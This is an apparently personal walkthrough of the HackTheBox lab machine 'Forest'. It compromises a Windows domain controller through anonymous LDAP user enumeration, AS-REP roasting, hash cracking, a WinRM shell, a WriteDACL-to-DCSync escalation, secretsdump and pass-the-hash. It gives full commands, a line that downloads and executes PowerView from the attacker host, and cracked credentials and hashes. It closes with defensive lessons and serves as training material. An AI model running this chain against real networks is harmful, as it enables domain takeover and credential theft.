Skip to content

Forest

HackTheBox Windows Active Directory
Medium Difficulty 2 of 4

AS-REP roasting cracks the svc-alfresco service account, and an Exchange Windows Permissions WriteDACL over the domain turns that foothold into a DCSync for Administrator.

Another box that answers to a name, FOREST, and a domain, htb.local. No website this time, so the directory itself will have to tell me who lives here.

First, confirm the host is actually up.

Host reachability ping
Bash
┌──(Idan@Kali)-[~/Forest]
└─> ping 10.129.16.68
PING 10.129.16.68 (10.129.16.68) 56(84) bytes of data.
64 bytes from 10.129.16.68: icmp_seq=1 ttl=127 time=72.8 ms
64 bytes from 10.129.16.68: icmp_seq=2 ttl=127 time=72.8 ms
64 bytes from 10.129.16.68: icmp_seq=3 ttl=127 time=71.0 ms
64 bytes from 10.129.16.68: icmp_seq=4 ttl=127 time=72.8 ms
--- 10.129.16.68 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3015ms
rtt min/avg/max/mdev = 70.966/72.323/72.803/0.783 ms

The ttl=127 is the usual Windows tell (a default of 128, minus one hop). The scan fills in the rest.

Service & version enumeration nmap
Bash
┌──(Idan@Kali)-[~/Forest]
└─> nmap -sC -sV 10.129.16.68
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 11:36 -0400
Nmap scan report for 10.129.16.68
Host is up (0.088s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-25 15:43:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

An aggressive scan confirmed Windows Server 2016 and added nothing new, so I left it there and read the service list I already had.


No web means the usual foothold is off the table, so I lean on what a domain controller gives away for free. If anonymous LDAP is open, the user list is one query away.

First, map the hostnames the scan surfaced so forest.htb and FOREST.htb.local resolve:

Bash
┌──(Idan@Kali)-[~/Forest]
└─> sudo nano /etc/hosts
# Add the following line
10.129.16.68 forest.htb FOREST.htb.local

I let autorecon blanket the host in the background, but the manual scan had already mapped the surface, so I went straight at the directory. Forest answers anonymous LDAP queries, which means I can enumerate every account in the domain without a single credential and drop the names into users.txt.

Domain users from an anonymous bind users.txt
Bash
┌──(Idan@Kali)-[~/Forest]
└─> cat users.txt
lucinda
andy
svc-alfresco
santi
mark
sebastien
Administrator

A domain that hands out its user list will often hand out more. If any of these accounts skipped pre-authentication, Kerberos will roast them for me.

With a user list in hand, I ask the KDC which of these accounts do not require Kerberos pre-authentication. Any that qualify will return an AS-REP I can crack offline.

AS-REP roasting the user list netexec
Bash
┌──(Idan@Kali)-[~/Forest]
└─> nxc ldap 10.129.16.68 -u users.txt -p '' --asreproast asrep.hash
LDAP 10.129.16.68 389 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local) (signing:None)
LDAP 10.129.16.68 389 FOREST $krb5asrep$23$svc-alfresco@HTB.LOCAL:4b64285a129fcfebc9668ee61df78c9d$4724ab...5ca581

One account came back. I feed its hash to Hashcat with mode 18200 and the rockyou wordlist.

Cracking the AS-REP hash hashcat
Bash
┌──(Idan@Kali)-[~/Forest]
└─> hashcat -m 18200 -a 0 asrep.hash /usr/share/wordlists/rockyou.txt
$krb5asrep$23$svc-alfresco@HTB.LOCAL:4b64285a...5ca581:s3rvice
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests

Port 5985 was open, and the account is almost certainly meant to log in there, so I take the credentials straight to Evil-WinRM.

Interactive session evil-winrm
Bash
┌──(Idan@Kali)-[~/Forest]
└─> evil-winrm -i 10.129.16.68 -u svc-alfresco -p 's3rvice'
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco

I land as svc-alfresco, and the user flag is sitting on the desktop.

Reading the user flag type
PowerShell
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
<user flag>
f7b560191cd5e9bf6cbe8edc61d98ccb

A shell as svc-alfresco is a foothold in a forest full of trust relationships. Somewhere in those group memberships is a path to the domain root, and BloodHound will draw it.

svc-alfresco’s own privileges are unremarkable, so the interesting question is what its group memberships let it change. I collect the whole domain and let the graph answer.

Domain mapping bloodhound-python
Bash
┌──(Idan@Kali)-[~/Forest]
└─> bloodhound-python -d htb.local -u svc-alfresco -p 's3rvice' -dc FOREST.htb.local -c All -ns 10.129.16.68 --zip
INFO: Found AD domain: htb.local
INFO: Found 2 computers
INFO: Found 32 users
INFO: Found 76 groups
INFO: Compressing output into 20260325141243_bloodhound.zip

BloodHound graph of htb.local showing svc-alfresco reaching the domain object through Account Operators and Exchange Windows Permissions BloodHound draws the line I was looking for: svc-alfresco to Account Operators to Exchange Windows Permissions, and from there a WriteDACL edge onto the htb.local domain object.

The plan follows the graph exactly. I create a throwaway user, add it to Exchange Windows Permissions, load PowerView, and use the group’s WriteDACL to grant that user DCSync rights over the domain.

Granting DCSync through Exchange Windows Permissions PowerView
PowerShell
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user idan Aa123456!1 /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" idan /add
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users" idan /add
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> (New-Object System.Net.WebClient).DownloadString('http://10.10.14.87:8000/PowerView.ps1') | IEX
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPass = ConvertTo-SecureString 'Aa123456!1' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\idan', $SecPass)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity idan -Credential $Cred -Rights DCSync

With DCSync granted, idan can ask the domain controller to replicate account secrets, exactly as a second DC would. From Kali, I pull the hashes.

Replicating the domain secrets secretsdump
Bash
┌──(Idan@Kali)-[~/Forest]
└─> impacket-secretsdump htb.local/idan:'Aa123456!1'@10.129.16.68
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
# remaining domain hashes trimmed
[*] Cleaning up...

The Administrator hash is all I need. I pass it straight back to the domain controller for a SYSTEM shell, no password required.

Pass-the-hash to SYSTEM and the root flag psexec
Bash
┌──(Idan@Kali)-[~/Forest]
└─> impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.129.16.68
[*] Found writable share ADMIN$
[*] Creating service and executing the payload
[*] Opening a shell, press ENTER
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> type root.txt
<root flag>
a98b4c63528d99f08b0c3dd89aca0e11

The whole path in one breath: Forest answers anonymous LDAP queries, so I pull the domain’s user list without credentials. One of those accounts, svc-alfresco, has Kerberos pre-authentication disabled, so I AS-REP roast it and crack s3rvice offline, which opens a WinRM shell and the user flag. BloodHound then draws the escalation: svc-alfresco can add a controlled account to Exchange Windows Permissions, that group holds WriteDACL over the domain, and WriteDACL grants DCSync. I replicate the Administrator hash, pass it back for a SYSTEM shell, and take the root flag.

Attack Path · htb.local

Step 1 of 6

is member of
adds members to
holds WriteDACL
grant DCSync
pass-the-hash

User svc-alfresco

via
AS-REP roast → hashcat -m 18200
shell
evil-winrm, user.txt

Three lessons, one per stage of the chain:

  1. Anonymous access to a directory is a free user list. Forest let an unauthenticated client enumerate every account in htb.local, and that list is the raw material for AS-REP roasting, spraying, and everything after. A domain controller should not answer to nobody.
  2. A disabled pre-authentication flag is a crackable password. svc-alfresco skipped Kerberos pre-auth, so the KDC handed out an offline hash for the asking, and a weak password did the rest. Pre-auth stays on, and service accounts get passwords a wordlist will never hold.
  3. WriteDACL on the domain is domain admin. The real collapse was an ACL: Exchange Windows Permissions could rewrite the domain’s security descriptor, and a low-tier account could join that group through Account Operators. One writable permission, reached in two hops, became DCSync over every secret in the forest.